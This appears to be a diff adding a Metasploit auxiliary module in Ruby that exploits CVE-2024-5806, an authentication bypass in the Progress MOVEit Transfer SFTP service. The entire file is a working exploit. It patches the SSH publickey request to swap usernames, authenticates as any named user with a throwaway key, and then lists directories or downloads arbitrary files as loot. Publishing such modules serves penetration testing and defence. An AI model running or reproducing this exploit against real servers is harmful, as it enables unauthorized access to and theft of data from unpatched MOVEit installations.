|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | +require 'net/ssh/transport/session' |
| 6 | +require 'net/sftp' |
| 7 | +require 'openssl' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The |
| 20 | + following version are affected: |
| 21 | +
|
| 22 | + * MOVEit Transfer 2023.0.x (Fixed in 2023.0.11) |
| 23 | + * MOVEit Transfer 2023.1.x (Fixed in 2023.1.6) |
| 24 | + * MOVEit Transfer 2024.0.x (Fixed in 2024.0.2) |
| 25 | +
|
| 26 | + The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing |
| 27 | + the contents of a directory, and the reading of an arbitrary file. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => [ |
| 31 | + 'sfewer-r7' # MSF Module & Rapid7 Analysis |
| 32 | + ], |
| 33 | + 'References' => [ |
| 34 | + ['CVE', '2024-5806'], |
| 35 | + ['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis. |
| 36 | + ], |
| 37 | + 'DisclosureDate' => '2024-06-25', |
| 38 | + 'Notes' => { |
| 39 | + 'Stability' => [CRASH_SAFE], |
| 40 | + 'SideEffects' => [IOC_IN_LOGS], |
| 41 | + 'Reliability' => [] |
| 42 | + } |
| 43 | + ) |
| 44 | + ) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + Opt::RHOST, |
| 49 | + Opt::RPORT(22), |
| 50 | + OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]), |
| 51 | + OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]), |
| 52 | + OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']), |
| 53 | + Opt::Proxies |
| 54 | + ] |
| 55 | + ) |
| 56 | + end |
| 57 | + |
| 58 | + # This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will |
| 59 | + # honor Metasploit's network pivots, and route a connection through the expected session if applicable. |
| 60 | + def open(host, port, _connection_options = nil) |
| 61 | + vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...") |
| 62 | + Rex::Socket::Tcp.create( |
| 63 | + 'PeerHost' => host, |
| 64 | + 'PeerPort' => port, |
| 65 | + 'Proxies' => datastore['Proxies'], |
| 66 | + 'Context' => { |
| 67 | + 'Msf' => framework, |
| 68 | + 'MsfExploit' => self |
| 69 | + } |
| 70 | + ) |
| 71 | + end |
| 72 | + |
| 73 | + def check |
| 74 | + # Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH) |
| 75 | + # service and we pull out the servers version string. |
| 76 | + transport = ::Net::SSH::Transport::Session.new( |
| 77 | + datastore['RHOST'], |
| 78 | + { |
| 79 | + port: datastore['RPORT'], |
| 80 | + # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots. |
| 81 | + proxy: self |
| 82 | + } |
| 83 | + ) |
| 84 | + |
| 85 | + ident = transport.server_version.version |
| 86 | + |
| 87 | + # We test the SSH version string for a known value of MOVEit SFTP. |
| 88 | + return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP' |
| 89 | + |
| 90 | + # We cannot get a product version number, so the best we can do is return Detected. |
| 91 | + Msf::Exploit::CheckCode::Detected(ident) |
| 92 | + rescue ::Rex::ConnectionRefused |
| 93 | + Msf::Exploit::CheckCode::Unknown('Connection Refused') |
| 94 | + rescue ::Rex::HostUnreachable |
| 95 | + Msf::Exploit::CheckCode::Unknown('Host Unreachable') |
| 96 | + rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout |
| 97 | + Msf::Exploit::CheckCode::Unknown('Connection Timeout') |
| 98 | + end |
| 99 | + |
| 100 | + def run |
| 101 | + # We want to change the behaviour of the build_request method. So first we alias the original build_request |
| 102 | + # method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour. |
| 103 | + ::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request) |
| 104 | + |
| 105 | + # Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon |
| 106 | + # the initial publickey auth request, then when sending the signature response to the server, we provide the username |
| 107 | + # of the valid user account we want to authenticate as. |
| 108 | + ::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig| |
| 109 | + orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig) |
| 110 | + end |
| 111 | + |
| 112 | + print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}") |
| 113 | + |
| 114 | + # With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get |
| 115 | + # back a valid SFTP session which we can interact with. |
| 116 | + ::Net::SFTP.start( |
| 117 | + datastore['RHOST'], |
| 118 | + datastore['TARGETUSER'], |
| 119 | + { |
| 120 | + port: datastore['RPORT'], |
| 121 | + auth_methods: ['publickey'], |
| 122 | + # The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new |
| 123 | + # key (in PEM format) every time we exploit the vulnerability. |
| 124 | + key_data: [OpenSSL::PKey::RSA.new(2048).to_pem], |
| 125 | + # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots. |
| 126 | + proxy: self |
| 127 | + } |
| 128 | + ) do |sftp| |
| 129 | + if File.directory? datastore['TARGETFILE'] |
| 130 | + print_status("Listing directory: #{datastore['TARGETFILE']}") |
| 131 | + |
| 132 | + sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry| |
| 133 | + # When we print the entry, we want to print the full path for each entry, so that further use of this module |
| 134 | + # can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with |
| 135 | + # permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to |
| 136 | + # recursively list the contents of all sub folders, we reconstitute the full path for every entry before |
| 137 | + # printing it. |
| 138 | + entry_full_path = File.join(datastore['TARGETFILE'], entry.name) |
| 139 | + |
| 140 | + print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path)) |
| 141 | + end |
| 142 | + else |
| 143 | + print_status("Downloading file: #{datastore['TARGETFILE']}") |
| 144 | + |
| 145 | + read_file(sftp, datastore['TARGETFILE']) |
| 146 | + end |
| 147 | + end |
| 148 | + rescue ::Net::SFTP::StatusException |
| 149 | + print_error('SFTP Status Exception.') |
| 150 | + rescue ::Net::SSH::AuthenticationFailed |
| 151 | + print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?') |
| 152 | + rescue ::Rex::ConnectionRefused |
| 153 | + print_error('SFTP Connection Refused.') |
| 154 | + rescue ::Rex::HostUnreachable |
| 155 | + print_error('SFTP Host Unreachable.') |
| 156 | + rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout |
| 157 | + print_error('SFTP Connection Timeout.') |
| 158 | + ensure |
| 159 | + ::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request) |
| 160 | + end |
| 161 | + |
| 162 | + def read_file(sftp, file_path) |
| 163 | + sftp.open!(file_path) do |open_response| |
| 164 | + unless open_response.ok? |
| 165 | + print_error('SFTP open failed. Is the TARGETFILE path correct?') |
| 166 | + break |
| 167 | + end |
| 168 | + |
| 169 | + file_size = sftp.fstat!(open_response[:handle]).size |
| 170 | + |
| 171 | + sftp.read!(open_response[:handle], 0, file_size) do |read_response| |
| 172 | + unless read_response.ok? |
| 173 | + print_error('SFTP read failed.') |
| 174 | + break |
| 175 | + end |
| 176 | + |
| 177 | + file_data = read_response[:data].to_s |
| 178 | + |
| 179 | + if datastore['STORE_LOOT'] |
| 180 | + print_status('Storing the file data to loot...') |
| 181 | + |
| 182 | + store_loot( |
| 183 | + file_path, |
| 184 | + file_data.ascii_only? ? 'text/plain' : 'application/octet-stream', |
| 185 | + datastore['RHOST'], |
| 186 | + file_data, |
| 187 | + datastore['TARGETFILE'], |
| 188 | + 'File read from Progress MOVEit SFTP server' |
| 189 | + ) |
| 190 | + else |
| 191 | + print_line(file_data) |
| 192 | + end |
| 193 | + end |
| 194 | + ensure |
| 195 | + sftp.close!(open_response[:handle]) if open_response.ok? |
| 196 | + end |
| 197 | + end |
| 198 | + |
| 199 | +end |
0 commit comments